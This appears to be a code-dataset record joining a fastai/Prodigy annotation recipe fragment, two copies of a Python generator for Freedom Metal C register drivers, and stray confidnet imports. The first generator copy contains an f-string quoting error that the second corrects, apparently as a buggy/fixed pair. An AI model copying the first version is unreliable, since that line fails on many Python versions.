from influxdb_client import InfluxDBClient, Point, WritePrecision
from influxdb_client.client.write_api import SYNCHRONOUS
# Cell
@recipe(
"fastaimodel",
dataset=("The dataset to use", "positional", None, str),
source=("Path to a directory of images", "option", "source", str),
model_path=("Path to the fastai model", "option", "model", str),
target_folder=("Path to the target folder where the pictures are " +
"in the labled folders",
"option",
"target_folder",
str),
sort_by_score_type=("choose which order you want to receive the predictions. " +
"The availiable orders are prefer_uncertain, prefer_high_scores, prefer_low_scores.",
"option",
"sort",
str),
label=("One or more comma-separated labels", "option", "label", str)
)
def fastai_recipe(dataset, source, model_path, target_folder, sort_by_score_type, label='horse_poo'):
"""recipe to load data in a certain order and save them to a folder"""
def update(examples):
# This function is triggered when Prodigy receives annotations
print(f"type of examples = {type(examples)}")
for example in examples:
if example['answer'] == 'accept':
save_base64_image(str(target_folder_pos), example['text'] + '.jpg', example['image'])
if example['answer'] == 'reject':
save_base64_image(str(target_folder_neg), example['text'] + '.jpg', example['image'])
#print(f"Received {len(examples)} annotations!")
#create folders
create_folders(target_folder, label)
target_folder = Path(target_folder)
target_folder_pos = target_folder / label
target_folder_neg = target_folder / ('no_' + label)
learn = load_fastai_model(model_path)
stream = score_stream(Images(source), model_path)
if sort_by_score_type == 'prefer_high_scores':
stream = prefer_high_scores(stream)
elif sort_by_score_type == 'prefer_low_scores':
stream = prefer_low_scores(stream)
elif sort_by_score_type == 'prefer_uncertain':
stream = prefer_uncertain(stream)
stream.first_n = 20000
return {
"dataset": dataset,
"view_id": "image_manual",
"stream": stream,
"update": update,
"config": { # Additional config settings, mostly for app UI
"label": "horse_poo"
}
}
# Cell
def create_folders(path:str, label:str) -> None:
"""create the target folder"""
path = Path(path)
path.mkdir(parents=True, exist_ok=True)
path_pos = path / label
path_pos.mkdir(parents=True, exist_ok=True)
path_neg = path / ('no_' + label)
path_neg.mkdir(parents=True, exist_ok=True)
# Cell
def load_fastai_model(path, test_folder:[Path, str]=None):
"""load a fastai model from a given path"""
path = Path(path)
folder = path.parent
file = path.name
if test_folder is not None:
il = ImageList.from_folder(test_folder)
return load_learner(path=folder, file=file, test=il)
return load_learner(str(folder), str(file))
# Cell
def save_base64_image(path, filename, uri):
"""save base64 encoded image """
tgt_path = Path(path) / filename
pil_image = PIL.Image.open(io.BytesIO(b64_uri_to_bytes(uri)))
pil_image.save(str(tgt_path))
# Cell
def score_stream(stream, model_path):
learn = load_fastai_model(model_path)
for example in stream:
if not example["image"].startswith("data"):
msg = "Expected base64-encoded data URI, but got: '{}'."
raise ValueError(msg.format(example["image"][:100]))
pil_image = PIL.Image.open(io.BytesIO(b64_uri_to_bytes(example["image"])))
a = np.asarray(pil_image)
a = np.transpose(a, (1, 0, 2))
a = np.transpose(a, (2, 1, 0))
x = torch.from_numpy(a.astype(np.float32, copy=False) )
x = x.div_(255)
score = learn.predict(Image(x))[2][0].numpy().item()
print(f"socre={score}, id={example['text']}")
yield (score, example)
# Cell
def predict_folder(image_folder:[str, Path], path_model:[str, Path]=Path('data/export.pkl')):
"""predicts a folder of images and saves images in tasks.jsonl"""
image_folder = Path(image_folder)
path_model = Path(path_model)
learn = load_fastai_model(str(path_model), test_folder=str(image_folder))
preds,y = learn.get_preds(ds_type=DatasetType.Test)
scores = preds[:,learn.data.classes.index('horse_poo')].numpy()
paths = learn.data.test_ds.items
jsonl_list = []
for score, path in sorted(zip(scores, paths), reverse=True):
obj = {"image": str(path), "text": path.stem, "score": str(np.round(score, 3))}
jsonl_list.append(obj)
print(f"save results to {str(image_folder / 'tasks.jsonl')}")
write_jsonl(str(image_folder / 'tasks.jsonl'), jsonl_list)
return learn, preds, y, jsonl_list
# Cell
@call_parse
def predict_all_subfolders(path:Param("path of parent folder", str)='data',
skipXmostRecent:Param("skips the nth most recent folders", int)=1,
path_model:Param("path to the model to use", str)='data/export.pkl',
predict_single_folder:Param("path to single folder", str)=None):
"""predicts all images in subfolders of the given path an creates a tasks.jsonl file"""
path = Path(path)
if predict_single_folder is not None:
predict_folder(Path(predict_single_folder), path_model)
return
subfolders = sorted(next(os.walk(str(path)))[1], reverse=True)
subfolders = [path / folder for folder in subfolders]
for folder in subfolders[skipXmostRecent:]:
print(f'predict {folder}')
predict_folder(folder, path_model)
# Cell
@recipe(
"fastai_jsonl_recipe",
dataset=("The dataset to use", "positional", None, str),
path_image_folder=("folder with tasks.jsonl file", "option", "path_image_folder", str),
path_model=("folder where we can find the deployed model", "option", "path_model", str),
predict=("wether to predict if there is already a tasks.jsonl or not", "option", "predict", int)
)
def fastai_jsonl_recipe(dataset, path_image_folder, path_model, predict=0):
"""recipe to predict and laod data in a certain order"""
def on_load(controller):
"""crates tasks.jsonl file order by predictions"""
if predict == 1 or os.path.exists(path_image_folder) is False:
print(f'make predictions for folder {path_image_folder} and model {path_model}')
predict_folder(image_folder=Path(path_image_folder), path_model=Path(path_model))
source = Path(path_image_folder)
stream = JSONL(str(source / 'tasks.jsonl'))
stream = fetch_images(stream, skip=True)
return {
"dataset": dataset,
"view_id": "image_manual",
"on_load": on_load,
"stream": stream,
"config": { # Additional config settings, mostly for app UI
"label": "horse_poo"
}
}
|
#!/usr/bin/env python3.7
import argparse
import string
import sys
import textwrap
import typing as t
from dataclasses import dataclass
from pathlib import Path
from urllib.parse import urlparse
import json5
import jsonref
PlainJSONType = t.Union[dict, list, t.AnyStr, float, bool]
JSONType = t.Union[PlainJSONType, t.Iterator[PlainJSONType]]
@dataclass(frozen=True)
class RegisterField:
"""
Description of a bit field within a register.
"""
name: str
bit_offset: int # Bit offset relative to the register containing this field
bit_width: int
@classmethod
def make_field(cls, name: str, bit_offset: int, bit_width: int) -> "RegisterField":
return cls(name, bit_offset, bit_width)
@dataclass(frozen=True)
class Register:
"""
Description of memory-mapped control register within a device
"""
name: str
offset: int # in bytes
width: int # in bits
fields: t.List[RegisterField]
@classmethod
def make_register(
cls,
name: str,
offset: int,
width: int,
fields: t.List[RegisterField],
) -> "Register":
if width not in (8, 16, 32, 64):
raise Exception(f'Invalid register width {width}, for register '
f'{name}.\n'
f'Width should be not 8, 16, 32, or 64.\n'
f'Please fix the register width in DUH document.')
return cls(name, offset, width, fields)
###
# templates
###
def generate_vtable_declarations(device_name: str,
reg_list: t.List[Register]) -> str:
"""
Generate the vtable entries for a device and set of registers. This
creates the declarations for function pointers for all the driver functions.
This is used to provide a single point for all functions that can be used
for multiple devices.
:param device_name: the name of the device
:param reg_list: a list of Register objects for the device
:return: the c code for the vtable entries
"""
rv = []
for a_reg in reg_list:
for field in a_reg.fields:
reg_name = a_reg.name.lower()
field_name = field.name.lower()
size = a_reg.width
func_name_prefix = f'v_{device_name}_{reg_name}_{field_name}'
write_func = f' void (*{func_name_prefix}_write)(uint32_t * {device_name}_base, uint{size}_t data);'
read_func = f' uint{size}_t (*{func_name_prefix}_read)(uint32_t *{device_name}_base);'
rv.append(write_func)
rv.append(read_func)
return '\n'.join(rv)
def generate_metal_vtable_definition(devices_name: str) -> str:
"""
Generate the vtable and base address variable definitions
for the given device name
:param devices_name:
:return: The c code for the metal device
"""
return f' uint32_t *{devices_name}_base;\n' + \
f' struct metal_{devices_name}_vtable vtable;'
def generate_protos(device_name: str, reg_list: t.List[Register]) -> str:
"""
Generate the function prototypes for a given device and register list.
:param device_name: The device name
:param reg_list: the list of registers for the device
:return: the c language prototypes for the device
"""
rv = []
dev_struct = f'const struct metal_{device_name} *{device_name}'
for a_reg in reg_list:
for field in a_reg.fields:
reg_name = a_reg.name.lower()
field_name = field.name.lower()
size = a_reg.width
func_name_prefix = f'metal_{device_name}_{reg_name}_{field_name}'
write_func = f'void {func_name_prefix}_write({dev_struct}, uint{size}_t data);'
read_func = f'uint{size}_t {func_name_prefix}_read({dev_struct});'
rv.append(write_func)
rv.append(read_func)
get_device = f'const struct metal_{device_name} *get_metal_{device_name}' \
f'(uint8_t index);'
rv.append(get_device)
return '\n'.join(rv)
# The template for the .h file
METAL_DEV_HDR_TMPL = \
"""
#include <metal/compiler.h>
#include <stdint.h>
#include <stdlib.h>
#include <bsp_${device}/${vendor}_${device}.h>
#ifndef ${vendor}_${device}${index}_h
#define ${vendor}_${device}${index}_h
struct metal_${device};
struct metal_${device}_vtable {
${vtable}
};
struct metal_${device} {
${metal_device}
};
//__METAL_DECLARE_VTABLE(metal_${device})
${protos}
#endif
"""
def generate_metal_dev_hdr(vendor, device, index, reglist):
"""
:param vendor: The name of the vendor creating the device
:param device: the name of the device created.
:param index: the index of the device
:param reglist: the list of registers for the device
:return: a string which is the .h for file the device driver
"""
template = string.Template(textwrap.dedent(METAL_DEV_HDR_TMPL))
return template.substitute(
vendor=vendor,
device=device,
cap_device=device.upper(),
index=str(index),
# base_address=hex(base_address),
vtable=generate_vtable_declarations(device, reglist),
metal_device=generate_metal_vtable_definition(device),
protos=generate_protos(device, reglist)
)
# the template for the driver .c file
METAL_DEV_DRV_TMPL = \
"""
#include <stdint.h>
#include <stdlib.h>
#include <${device}/${vendor}_${device}${index}.h>
#include <metal/compiler.h>
#include <metal/io.h>
// Private utility functions
// Write data into register field by only changing bits within that field.
static inline void write_field(
volatile uint32_t *register_base,
uint32_t field_offset,
uint32_t field_width,
uint32_t field_data
) {
const uint32_t shifted_field_data = field_data << field_offset;
const uint32_t mask = (field_width == 32) ? 0xffffffff : ((1 << field_width) - 1) << field_offset;
const uint32_t original_data = *register_base;
const uint32_t cleared_data = original_data & (~mask);
const uint32_t new_data = cleared_data | shifted_field_data;
*register_base = new_data;
}
// Read data from register field by shifting and masking only that field.
static inline uint32_t read_field(
volatile uint32_t *register_base,
uint32_t field_offset,
uint32_t field_width
) {
const uint32_t original_data = *register_base;
const uint32_t mask = (field_width == 32) ? 0xffffffff : (1 << field_width) - 1;
return (original_data >> field_offset) & mask;
}
// Private register field access functions
${base_functions}
// Public register field access functions
${metal_functions}
// Static data
struct metal_${device} metal_${device}s[${cap_device}_COUNT];
struct metal_${device}* ${device}_tables[${cap_device}_COUNT];
uint8_t ${device}_tables_cnt = ${cap_device}_COUNT;
void init_devices()
{
uint32_t bases[]=${cap_device}_BASES;
int i;
for (i = 0; i < ${cap_device}_COUNT; i++){
${def_vtable}
${device}_tables[i] = &metal_${device}s[i];
}
}
const struct metal_${device}* get_metal_${device}(uint8_t idx)
{
static uint8_t initted = 0;
if (!initted){
init_devices();
initted = 1;
}
if (idx >= ${device}_tables_cnt)
return NULL;
return ${device}_tables[idx];
}
"""
def generate_def_vtable(device: str, reg_list: t.List[Register]) -> str:
"""
Generate vtable settings for vtable declaration in .c file
:param device: the name of the device
:param reg_list: the register list for the device
:return: the declarations in the vtable for the driver .c file
"""
rv: t.List[str] = []
head = f'metal_{device}s[i].{device}_base = bases[i];'
rv.append(head)
for a_reg in reg_list:
for field in a_reg.fields:
reg_name = a_reg.name.lower()
field_name = field.name.lower()
vtable_prefix = f'v_{device}_{reg_name}_{field_name}'
base_func_prefix = f'{device}_{reg_name}_{field_name}'
write_func = f'{' ' * 8}metal_{device}s[i].vtable.{vtable_prefix}_write = {base_func_prefix}_write;'
read_func = f'{' ' * 8}metal_{device}s[i].vtable.{vtable_prefix}_read = {base_func_prefix}_read;'
rv.append(write_func)
rv.append(read_func)
return '\n'.join(rv)
def generate_base_functions(device: str, reg_list: t.List[Register]) -> str:
"""
Generates the basic, not exported register access functions for
a given device and register list.
:param device: the name of the device
:param reg_list: the list of registers for the device.
:return: the c code for the register access functions
"""
cap_device = device.upper()
rv: t.List[str] = []
for a_reg in reg_list:
for field in a_reg.fields:
name = a_reg.name.lower()
cap_name = a_reg.name.upper()
field_name = field.name.lower()
cap_field_name = field.name.upper()
size = a_reg.width
# Compute actual register offset by assuming 32-bit registers,
# since the existing header macros do not directly tell you the
# offset of the registers.
macro_prefix = f"{cap_device}_REGISTER_{cap_name}_{cap_field_name}"
# Bit offset of field relative to base of device register block
field_bit_offset_from_base = macro_prefix
# Byte offset of register relative to base of device register block
reg_byte_offset = f"(({field_bit_offset_from_base} / 32) * 4)"
# Bit offset of field relative to base of register
field_bit_offset_from_register = f"({field_bit_offset_from_base} % 32)"
field_width = f"{macro_prefix}_WIDTH"
write_func = f"""
void {device}_{name}_{field_name}_write(uint32_t *{device}_base, uint{size}_t data)
{{
uintptr_t control_base = (uintptr_t){device}_base;
volatile uint32_t *register_base = (uint32_t *)(control_base + {reg_byte_offset});
write_field(register_base, {field_bit_offset_from_register}, {field_width}, data);
}}
"""
rv.append(textwrap.dedent(write_func))
read_func = f"""
uint{size}_t {device}_{name}_{field_name}_read(uint32_t *{device}_base)
{{
uintptr_t control_base = (uintptr_t){device}_base;
volatile uint32_t *register_base = (uint32_t *)(control_base + {reg_byte_offset});
return read_field(register_base, {field_bit_offset_from_register}, {field_width});
}}
"""
rv.append(textwrap.dedent(read_func))
return '\n'.join(rv)
def generate_metal_function(device: str, reg_list: t.List[Register]) -> str:
"""
Generates the exported register access functions for
a given device and register list.
:param device: the name of the device
:param reg_list: the list of registers for the device.
:return: the c code for the exported register access functions
"""
rv: t.List[str] = []
for a_reg in reg_list:
for field in a_reg.fields:
name = a_reg.name.lower()
field_name = field.name.lower()
size = a_reg.width
write_func = f"""
void metal_{device}_{name}_{field_name}_write(const struct metal_{device} *{device}, uint{size}_t data)
{{
if ({device} != NULL)
{device}->vtable.v_{device}_{name}_{field_name}_write({device}->{device}_base, data);
}}
"""
rv.append(textwrap.dedent(write_func))
read_func = f"""
uint{size}_t metal_{device}_{name}_{field_name}_read(const struct metal_{device} *{device})
{{
if ({device} != NULL)
return {device}->vtable.v_{device}_{name}_{field_name}_read({device}->{device}_base);
return (uint{size}_t)-1;
}}
"""
rv.append(textwrap.dedent(read_func))
return '\n'.join(rv)
def generate_metal_dev_drv(vendor, device, index, reglist):
"""
Generate the driver source file contents for a given device
and register list
:param vendor: the vendor creating the device
:param device: the device
:param index: the index of the device used
:param reglist: the list of registers
:return: a string containing of the c code for the basic driver
"""
template = string.Template(textwrap.dedent(METAL_DEV_DRV_TMPL))
return template.substitute(
vendor=vendor,
device=device,
cap_device=device.upper(),
index=str(index),
base_functions=generate_base_functions(device, reglist),
metal_functions=generate_metal_function(device, reglist),
def_vtable=generate_def_vtable(device, reglist)
)
# ###
# Support for parsing duh file
# ###
def _jsonref_loader(uri: str, **kwargs) -> JSONType:
"""
Custom jsonref loader that can handle relative file paths.
If the value of a JSON reference is a relative file path, load it relative
to the parent file containing the reference. Otherwise, delegate to the
normal jsonref loader.
"""
parsed_uri = urlparse(uri)
# Assume that if netloc is present, then the URI is a web URI, and
# otherwise that the URI refers to a relative file path.
if parsed_uri.netloc:
return jsonref.jsonloader(uri, **kwargs)
else:
return json5.loads(Path(uri).read_text())
def load_json5_with_refs(f_name: str) -> JSONType:
with open(f_name) as fp:
return jsonref.JsonRef.replace_refs(
json5.load(fp),
base_uri=f_name,
loader=_jsonref_loader,
)
###
# main
###
def handle_args():
"""
:return:
"""
parser = argparse.ArgumentParser()
parser.add_argument(
"-d",
"--duh-document",
help="The path to the DUH document",
required=True
)
parser.add_argument(
"--vendor",
help="The vendor name",
required=True,
)
parser.add_argument(
"-D",
"--device",
help="The device name",
required=True,
)
parser.add_argument(
"-m",
"--metal-dir",
help="The path to the drivers/metal directory",
type=Path,
required=True,
)
parser.add_argument(
"-x",
"--overwrite-existing",
action="store_true",
default=False,
help="overwrite existing files"
)
return parser.parse_args()
def main():
args = handle_args()
vendor = args.vendor
device = args.device
m_dir_path = args.metal_dir
overwrite_existing = args.overwrite_existing
duh_info = load_json5_with_refs(args.duh_document)
# ###
# process pSchema (in duh document) to create symbol table
# ###
if 'pSchema' in duh_info['component']:
duh_symbol_table = duh_info['component']['pSchema']['properties']
else:
duh_symbol_table = {}
# ###
# process register info from duh
# ###
def interpret_register_field(a_reg_field: dict) -> RegisterField:
try:
name = a_reg_field["name"]
except KeyError:
raise Exception(f"Missing required register field property 'name': {a_reg_field}")
bit_offset = a_reg_field["bitOffset"]
bit_width = a_reg_field["bitWidth"]
if isinstance(bit_offset, str):
bit_offset = duh_symbol_table[bit_offset]['default']
if isinstance(bit_width, str):
bit_width = duh_symbol_table[bit_width]['default']
return RegisterField.make_field(name, bit_offset, bit_width)
def interpret_register(a_reg: dict) -> Register:
name = a_reg['name']
offset = a_reg['addressOffset']
width = a_reg['size']
fields = a_reg.get('fields', [])
if isinstance(offset, str):
offset = duh_symbol_table[offset]['default']
if isinstance(width, str):
width = duh_symbol_table[width]['default']
interpreted_fields = [interpret_register_field(field) for field in fields]
return Register.make_register(name, offset, width, interpreted_fields)
reglist: t.List[Register] = [
interpret_register(register)
for memory_map in duh_info['component'].get('memoryMaps', [])
for address_block in memory_map['addressBlocks']
for register in address_block.get('registers', [])
]
m_hdr_path = m_dir_path / device
m_hdr_path.mkdir(exist_ok=True, parents=True)
driver_file_path = m_dir_path / f'{vendor}_{device}.c'
header_file_path = m_hdr_path / f'{vendor}_{device}{0}.h'
if overwrite_existing or not driver_file_path.exists():
driver_file_path.write_text(
generate_metal_dev_drv(vendor, device, 0, reglist))
else:
print(f"{str(driver_file_path)} exists, not creating.",
file=sys.stderr)
if overwrite_existing or not header_file_path.exists():
header_file_path.write_text(
generate_metal_dev_hdr(vendor, device, 0, reglist))
else:
print(f"{str(header_file_path)} exists, not creating.",
file=sys.stderr)
return 0
if __name__ == '__main__':
sys.exit(main())
| #!/usr/bin/env python3.7
import argparse
import string
import sys
import textwrap
import typing as t
from dataclasses import dataclass
from pathlib import Path
from urllib.parse import urlparse
import json5
import jsonref
PlainJSONType = t.Union[dict, list, t.AnyStr, float, bool]
JSONType = t.Union[PlainJSONType, t.Iterator[PlainJSONType]]
@dataclass(frozen=True)
class RegisterField:
"""
Description of a bit field within a register.
"""
name: str
bit_offset: int # Bit offset relative to the register containing this field
bit_width: int
@classmethod
def make_field(cls, name: str, bit_offset: int, bit_width: int) -> "RegisterField":
return cls(name, bit_offset, bit_width)
@dataclass(frozen=True)
class Register:
"""
Description of memory-mapped control register within a device
"""
name: str
offset: int # in bytes
width: int # in bits
fields: t.List[RegisterField]
@classmethod
def make_register(
cls,
name: str,
offset: int,
width: int,
fields: t.List[RegisterField],
) -> "Register":
if width not in (8, 16, 32, 64):
raise Exception(f'Invalid register width {width}, for register '
f'{name}.\n'
f'Width should be not 8, 16, 32, or 64.\n'
f'Please fix the register width in DUH document.')
return cls(name, offset, width, fields)
###
# templates
###
def generate_vtable_declarations(device_name: str,
reg_list: t.List[Register]) -> str:
"""
Generate the vtable entries for a device and set of registers. This
creates the declarations for function pointers for all the driver functions.
This is used to provide a single point for all functions that can be used
for multiple devices.
:param device_name: the name of the device
:param reg_list: a list of Register objects for the device
:return: the c code for the vtable entries
"""
rv = []
for a_reg in reg_list:
for field in a_reg.fields:
reg_name = a_reg.name.lower()
field_name = field.name.lower()
size = a_reg.width
func_name_prefix = f'v_{device_name}_{reg_name}_{field_name}'
write_func = f' void (*{func_name_prefix}_write)(uint32_t * {device_name}_base, uint{size}_t data);'
read_func = f' uint{size}_t (*{func_name_prefix}_read)(uint32_t *{device_name}_base);'
rv.append(write_func)
rv.append(read_func)
return '\n'.join(rv)
def generate_metal_vtable_definition(devices_name: str) -> str:
"""
Generate the vtable and base address variable definitions
for the given device name
:param devices_name:
:return: The c code for the metal device
"""
return f' uint32_t *{devices_name}_base;\n' + \
f' struct metal_{devices_name}_vtable vtable;'
def generate_protos(device_name: str, reg_list: t.List[Register]) -> str:
"""
Generate the function prototypes for a given device and register list.
:param device_name: The device name
:param reg_list: the list of registers for the device
:return: the c language prototypes for the device
"""
rv = []
dev_struct = f'const struct metal_{device_name} *{device_name}'
for a_reg in reg_list:
for field in a_reg.fields:
reg_name = a_reg.name.lower()
field_name = field.name.lower()
size = a_reg.width
func_name_prefix = f'metal_{device_name}_{reg_name}_{field_name}'
write_func = f'void {func_name_prefix}_write({dev_struct}, uint{size}_t data);'
read_func = f'uint{size}_t {func_name_prefix}_read({dev_struct});'
rv.append(write_func)
rv.append(read_func)
get_device = f'const struct metal_{device_name} *get_metal_{device_name}' \
f'(uint8_t index);'
rv.append(get_device)
return '\n'.join(rv)
# The template for the .h file
METAL_DEV_HDR_TMPL = \
"""
#include <metal/compiler.h>
#include <stdint.h>
#include <stdlib.h>
#include <bsp_${device}/${vendor}_${device}.h>
#ifndef ${vendor}_${device}${index}_h
#define ${vendor}_${device}${index}_h
struct metal_${device};
struct metal_${device}_vtable {
${vtable}
};
struct metal_${device} {
${metal_device}
};
//__METAL_DECLARE_VTABLE(metal_${device})
${protos}
#endif
"""
def generate_metal_dev_hdr(vendor, device, index, reglist):
"""
:param vendor: The name of the vendor creating the device
:param device: the name of the device created.
:param index: the index of the device
:param reglist: the list of registers for the device
:return: a string which is the .h for file the device driver
"""
template = string.Template(textwrap.dedent(METAL_DEV_HDR_TMPL))
return template.substitute(
vendor=vendor,
device=device,
cap_device=device.upper(),
index=str(index),
# base_address=hex(base_address),
vtable=generate_vtable_declarations(device, reglist),
metal_device=generate_metal_vtable_definition(device),
protos=generate_protos(device, reglist)
)
# the template for the driver .c file
METAL_DEV_DRV_TMPL = \
"""
#include <stdint.h>
#include <stdlib.h>
#include <${device}/${vendor}_${device}${index}.h>
#include <metal/compiler.h>
#include <metal/io.h>
// Private utility functions
// Write data into register field by only changing bits within that field.
static inline void write_field(
volatile uint32_t *register_base,
uint32_t field_offset,
uint32_t field_width,
uint32_t field_data
) {
const uint32_t shifted_field_data = field_data << field_offset;
const uint32_t mask = (field_width == 32) ? 0xffffffff : ((1 << field_width) - 1) << field_offset;
const uint32_t original_data = *register_base;
const uint32_t cleared_data = original_data & (~mask);
const uint32_t new_data = cleared_data | shifted_field_data;
*register_base = new_data;
}
// Read data from register field by shifting and masking only that field.
static inline uint32_t read_field(
volatile uint32_t *register_base,
uint32_t field_offset,
uint32_t field_width
) {
const uint32_t original_data = *register_base;
const uint32_t mask = (field_width == 32) ? 0xffffffff : (1 << field_width) - 1;
return (original_data >> field_offset) & mask;
}
// Private register field access functions
${base_functions}
// Public register field access functions
${metal_functions}
// Static data
struct metal_${device} metal_${device}s[${cap_device}_COUNT];
struct metal_${device}* ${device}_tables[${cap_device}_COUNT];
uint8_t ${device}_tables_cnt = ${cap_device}_COUNT;
void init_devices()
{
uint32_t bases[]=${cap_device}_BASES;
int i;
for (i = 0; i < ${cap_device}_COUNT; i++){
${def_vtable}
${device}_tables[i] = &metal_${device}s[i];
}
}
const struct metal_${device}* get_metal_${device}(uint8_t idx)
{
static uint8_t initted = 0;
if (!initted){
init_devices();
initted = 1;
}
if (idx >= ${device}_tables_cnt)
return NULL;
return ${device}_tables[idx];
}
"""
def generate_def_vtable(device: str, reg_list: t.List[Register]) -> str:
"""
Generate vtable settings for vtable declaration in .c file
:param device: the name of the device
:param reg_list: the register list for the device
:return: the declarations in the vtable for the driver .c file
"""
rv: t.List[str] = []
head = f'metal_{device}s[i].{device}_base = bases[i];'
rv.append(head)
for a_reg in reg_list:
for field in a_reg.fields:
reg_name = a_reg.name.lower()
field_name = field.name.lower()
vtable_prefix = f'v_{device}_{reg_name}_{field_name}'
base_func_prefix = f'{device}_{reg_name}_{field_name}'
write_func = f'{" " * 8}metal_{device}s[i].vtable.{vtable_prefix}_write = {base_func_prefix}_write;'
read_func = f'{" " * 8}metal_{device}s[i].vtable.{vtable_prefix}_read = {base_func_prefix}_read;'
rv.append(write_func)
rv.append(read_func)
return '\n'.join(rv)
def generate_base_functions(device: str, reg_list: t.List[Register]) -> str:
"""
Generates the basic, not exported register access functions for
a given device and register list.
:param device: the name of the device
:param reg_list: the list of registers for the device.
:return: the c code for the register access functions
"""
cap_device = device.upper()
rv: t.List[str] = []
for a_reg in reg_list:
for field in a_reg.fields:
name = a_reg.name.lower()
cap_name = a_reg.name.upper()
field_name = field.name.lower()
cap_field_name = field.name.upper()
size = a_reg.width
# Compute actual register offset by assuming 32-bit registers,
# since the existing header macros do not directly tell you the
# offset of the registers.
macro_prefix = f"{cap_device}_REGISTER_{cap_name}_{cap_field_name}"
# Bit offset of field relative to base of device register block
field_bit_offset_from_base = macro_prefix
# Byte offset of register relative to base of device register block
reg_byte_offset = f"(({field_bit_offset_from_base} / 32) * 4)"
# Bit offset of field relative to base of register
field_bit_offset_from_register = f"({field_bit_offset_from_base} % 32)"
field_width = f"{macro_prefix}_WIDTH"
write_func = f"""
void {device}_{name}_{field_name}_write(uint32_t *{device}_base, uint{size}_t data)
{{
uintptr_t control_base = (uintptr_t){device}_base;
volatile uint32_t *register_base = (uint32_t *)(control_base + {reg_byte_offset});
write_field(register_base, {field_bit_offset_from_register}, {field_width}, data);
}}
"""
rv.append(textwrap.dedent(write_func))
read_func = f"""
uint{size}_t {device}_{name}_{field_name}_read(uint32_t *{device}_base)
{{
uintptr_t control_base = (uintptr_t){device}_base;
volatile uint32_t *register_base = (uint32_t *)(control_base + {reg_byte_offset});
return read_field(register_base, {field_bit_offset_from_register}, {field_width});
}}
"""
rv.append(textwrap.dedent(read_func))
return '\n'.join(rv)
def generate_metal_function(device: str, reg_list: t.List[Register]) -> str:
"""
Generates the exported register access functions for
a given device and register list.
:param device: the name of the device
:param reg_list: the list of registers for the device.
:return: the c code for the exported register access functions
"""
rv: t.List[str] = []
for a_reg in reg_list:
for field in a_reg.fields:
name = a_reg.name.lower()
field_name = field.name.lower()
size = a_reg.width
write_func = f"""
void metal_{device}_{name}_{field_name}_write(const struct metal_{device} *{device}, uint{size}_t data)
{{
if ({device} != NULL)
{device}->vtable.v_{device}_{name}_{field_name}_write({device}->{device}_base, data);
}}
"""
rv.append(textwrap.dedent(write_func))
read_func = f"""
uint{size}_t metal_{device}_{name}_{field_name}_read(const struct metal_{device} *{device})
{{
if ({device} != NULL)
return {device}->vtable.v_{device}_{name}_{field_name}_read({device}->{device}_base);
return (uint{size}_t)-1;
}}
"""
rv.append(textwrap.dedent(read_func))
return '\n'.join(rv)
def generate_metal_dev_drv(vendor, device, index, reglist):
"""
Generate the driver source file contents for a given device
and register list
:param vendor: the vendor creating the device
:param device: the device
:param index: the index of the device used
:param reglist: the list of registers
:return: a string containing of the c code for the basic driver
"""
template = string.Template(textwrap.dedent(METAL_DEV_DRV_TMPL))
return template.substitute(
vendor=vendor,
device=device,
cap_device=device.upper(),
index=str(index),
base_functions=generate_base_functions(device, reglist),
metal_functions=generate_metal_function(device, reglist),
def_vtable=generate_def_vtable(device, reglist)
)
# ###
# Support for parsing duh file
# ###
def _jsonref_loader(uri: str, **kwargs) -> JSONType:
"""
Custom jsonref loader that can handle relative file paths.
If the value of a JSON reference is a relative file path, load it relative
to the parent file containing the reference. Otherwise, delegate to the
normal jsonref loader.
"""
parsed_uri = urlparse(uri)
# Assume that if netloc is present, then the URI is a web URI, and
# otherwise that the URI refers to a relative file path.
if parsed_uri.netloc:
return jsonref.jsonloader(uri, **kwargs)
else:
return json5.loads(Path(uri).read_text())
def load_json5_with_refs(f_name: str) -> JSONType:
with open(f_name) as fp:
return jsonref.JsonRef.replace_refs(
json5.load(fp),
base_uri=f_name,
loader=_jsonref_loader,
)
###
# main
###
def handle_args():
"""
:return:
"""
parser = argparse.ArgumentParser()
parser.add_argument(
"-d",
"--duh-document",
help="The path to the DUH document",
required=True
)
parser.add_argument(
"--vendor",
help="The vendor name",
required=True,
)
parser.add_argument(
"-D",
"--device",
help="The device name",
required=True,
)
parser.add_argument(
"-m",
"--metal-dir",
help="The path to the drivers/metal directory",
type=Path,
required=True,
)
parser.add_argument(
"-x",
"--overwrite-existing",
action="store_true",
default=False,
help="overwrite existing files"
)
return parser.parse_args()
def main():
args = handle_args()
vendor = args.vendor
device = args.device
m_dir_path = args.metal_dir
overwrite_existing = args.overwrite_existing
duh_info = load_json5_with_refs(args.duh_document)
# ###
# process pSchema (in duh document) to create symbol table
# ###
if 'pSchema' in duh_info['component']:
duh_symbol_table = duh_info['component']['pSchema']['properties']
else:
duh_symbol_table = {}
# ###
# process register info from duh
# ###
def interpret_register_field(a_reg_field: dict) -> RegisterField:
try:
name = a_reg_field["name"]
except KeyError:
raise Exception(f"Missing required register field property 'name': {a_reg_field}")
bit_offset = a_reg_field["bitOffset"]
bit_width = a_reg_field["bitWidth"]
if isinstance(bit_offset, str):
bit_offset = duh_symbol_table[bit_offset]['default']
if isinstance(bit_width, str):
bit_width = duh_symbol_table[bit_width]['default']
return RegisterField.make_field(name, bit_offset, bit_width)
def interpret_register(a_reg: dict) -> Register:
name = a_reg['name']
offset = a_reg['addressOffset']
width = a_reg['size']
fields = a_reg.get('fields', [])
if isinstance(offset, str):
offset = duh_symbol_table[offset]['default']
if isinstance(width, str):
width = duh_symbol_table[width]['default']
interpreted_fields = [interpret_register_field(field) for field in fields]
return Register.make_register(name, offset, width, interpreted_fields)
reglist: t.List[Register] = [
interpret_register(register)
for memory_map in duh_info['component'].get('memoryMaps', [])
for address_block in memory_map['addressBlocks']
for register in address_block.get('registers', [])
]
m_hdr_path = m_dir_path / device
m_hdr_path.mkdir(exist_ok=True, parents=True)
driver_file_path = m_dir_path / f'{vendor}_{device}.c'
header_file_path = m_hdr_path / f'{vendor}_{device}{0}.h'
if overwrite_existing or not driver_file_path.exists():
driver_file_path.write_text(
generate_metal_dev_drv(vendor, device, 0, reglist))
else:
print(f"{str(driver_file_path)} exists, not creating.",
file=sys.stderr)
if overwrite_existing or not header_file_path.exists():
header_file_path.write_text(
generate_metal_dev_hdr(vendor, device, 0, reglist))
else:
print(f"{str(header_file_path)} exists, not creating.",
file=sys.stderr)
return 0
if __name__ == '__main__':
sys.exit(main())
|
import argparse
import os
from shutil import copyfile, rmtree
import click
import torch
# import sys
# sys.path.insert(1, '../confidnet')
from confidnet.loaders import get_loader
from confidnet.learners import get_learner
